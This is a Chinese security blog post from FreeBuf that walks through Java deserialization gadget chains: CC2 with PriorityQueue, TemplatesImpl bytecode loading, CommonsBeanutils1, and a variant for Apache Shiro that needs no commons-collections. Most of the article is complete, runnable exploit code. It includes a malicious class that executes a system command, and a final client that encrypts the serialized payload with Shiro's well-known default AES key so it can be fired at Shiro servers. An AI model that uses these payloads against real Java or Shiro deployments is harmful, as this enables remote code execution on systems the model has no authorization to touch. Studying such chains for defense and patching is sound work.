freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Java 利用PriorityQueue进行无InvokerTransformer反序列化
godownio 2022-12-07 15:56:22 350745
所属地 四川省

java_PriorityQueue

java.util.PriorityQueue 是一个优先队列(Queue),节点之间按照优先级大小排序成一棵树。其中PriorityQueue有自己的readObject反序列化入口。

反序列化链为:PriorityQueue#readObject->heapify()->siftDown()->siftDownUsingComparator()->comparator.compare()。当comparator为TransformingComparator对象时,能触发transform()方法:

image-20221206160559047.png

至于PriorityQueue的heapify()、siftDown()、siftDownUsingComparator()的用处就是恢复排序、节点下移和比较元素大小。而Comparator则是定义了两个对象用什么方式比较

CC2TransformingComparator

结合CC2的利用方式,就是向TransformingComparator传入恶意Transformer。

Comparator comparator = new TransformingComparator(transformerChain);

再用priorityQueue触发comparator:

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

可以add任何非null对象,因为触发transform与队列参数无关(比较的是1,2,比较方式为comparator.compare())

  • POC:

package org.example;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class CC2TransformingComparator {
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class,
                        Object[].class }, new Object[] { null, new
                        Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class
                },
                        new String[] { "calc.exe" }),
        };
        Transformer transformerChain = new
                ChainedTransformer(fakeTransformers);
        Comparator comparator = new
                TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);
        setFieldValue(transformerChain, "iTransformers", transformers);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

测试结果:

image-20221206161847500.png

TemplatesImpl无数组TransformingComparator

用TemplatesImpl字节码的方式也能进行利用,并且还能用于shiro的无数组链:

同样的向TransformingComparator传入恶意Transformer,这次传的是InvokerTransformer,而非transformerChain数组

Comparator comparator = new TransformingComparator(transformer);

触发comparator的方式还是实例化PriorityQueue对象

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);

为什么要传TemplatesImpl的对象obj呢?回想在没有ConstantTransformer初始化对象的情况下,shiro反序列化是依靠TiedMapEntry的构造函数把初始化对象传入key

image-20221206164448132.png

TiedMapEntry的hashcode调用了getValue,getValue触发lazyMap.get()

image-20221206164623593.png

但是在使用PriorityQueue类时,就无法用到shiro的入口HashMap,自然整条链都用不了。进入templatesImpl对象的newTransformer()入口的方式变为:

PriorityQueue#Compare()->TransformingComparator#transform->InvokerTransformer->TemplatesImpl#newTransformer()

只需要compare()时对象为恶意InvokerTransformer

image-20221206160559047.png

恶意字节码类:

package evil;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public EvilTemplatesImpl() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");
    }
}

POC:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class ShiroTransformingComparator {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    protected static byte[] getBytescode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName());
        return clazz.toBytecode();
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);
        Comparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(obj);
        queue.add(obj);

        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

image-20221206173016563.png

在4.1和3.2.2更新了FunctorUtils#checkUnsafeSerialization,3.2.2默认情况下会检测常见危险transformer(InstantiataTransformer、InvokerTransformer、PrototypeFactory等)的readObject进行调用,4.1这几个类直接不再实现Serilalizable接口

CommonsBeanutil

javaBean的介绍:https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680

从中可以了解到getter、setter、属性的概念。

在上文,我们用PriorityQueue#compare()来触发TransformingComparator#transform()。除了这种方式外,还有org.apache.commons.beanutils.BeanComparator.compare()

BeanComparator.compare()方法代码如下:

image-20221206184052378.png

其中的getProperty方法可以调用任意javaBean的getter方法(形如getName)。

Object value1 = PropertyUtils.getProperty(o1,this.property);

该方法甚至可以递归查询:PropertyUtils.getProperty(o1,"o2.name");

现在反序列化链为:

BeanComparator#compara()->PropertyUtils.getProperty()->TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

getOutputProperties()符合getter的定义,所以property(属性名)的值为OutputProperties时,触发反序列化链。PriorityQueue队列和property的值可以用反射的方式修改。

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

POC:

package org.example;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "godown");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        BeanComparator comparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);
// stub data for replacement later
        queue.add(1);
        queue.add(1);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

image-20221206210050408.png

那么这条链跟上面那个只用到了priorityQueue的区别在哪?

好像只是反序列化的入口从newInstance变成了getOutputProperties?

正是因为不再需要newInstance作为入口,也就不再需要Invokertransformer进行调用。也就是

PriorityQueue#Compare()->TransformingComparator#transform->InvokerTransformer->TemplatesImpl#newTransformer()这段过程可以全部舍弃掉,转而换成:

PriorityQueue#compare()->BeanComparator#compare()->PropertyUtils.getProperty()->TemplatesImpl#getOutputProperties()

因此3.2.2和4.1就能开心的拿着这个payload去打

不需要CC库的shiroCommonBeanutils

shiro本身依赖commons-beautils库。所以上面的payload可以直接改造用来打shiro。

如果本地commons-beanutils和服务器shiro的CB版本不一样的话,serialVersionUID就会不同,也就不兼容。也就是打的时候需要把本地commons-beanutils改成和服务器一样的版本

那服务端没有commons-collections库的时候呢?

在new BeanComparator时,BeanComparator构造函数使用了ComparableComparator

image-20221207113456298.png

而这个类来自commons.collections,所以要避开使用这个缺省参数。也就是要找到一个类有comparator接口和serializable接口

image-20221207113534550.png

CaseInsensitiveComparator不仅实现了上面两个接口,还在java.lang.String下。而且用getOutputProperties的方式调用是不需要用到恶意comparator的,只需要恶意property

所以修改Beancomparator初始化时的参数为CaseInsensitiveComparator的对象就行了:

final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

POC:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class ShiroCommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);
// stub data for replacement later
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        return barr.toByteArray();
        }
}

转字节码打shiro poc:

package org.example;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Clientattack {
    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(org.example.ShiroCommonsBeanutils1.class.getName());
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

image-20221207125223110.png

image-20221207125113917.png

参考:phith0n《java安全漫谈(16、17)》

# web安全 # Java反序列化漏洞分析 # shiro反序列化漏洞 # JAVA安全
本文为 godownio 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
JAVA—反序列化探究
红队攻防演练
godownio LV.3
Something for nothing
  • 14 文章数
  • 9 关注者
apache Dubbo反序列化全集
2025-02-25
JNDI绕过高版本注入限制那些事
2024-12-04
XStream反序列化漏洞合集
2024-10-31
文章目录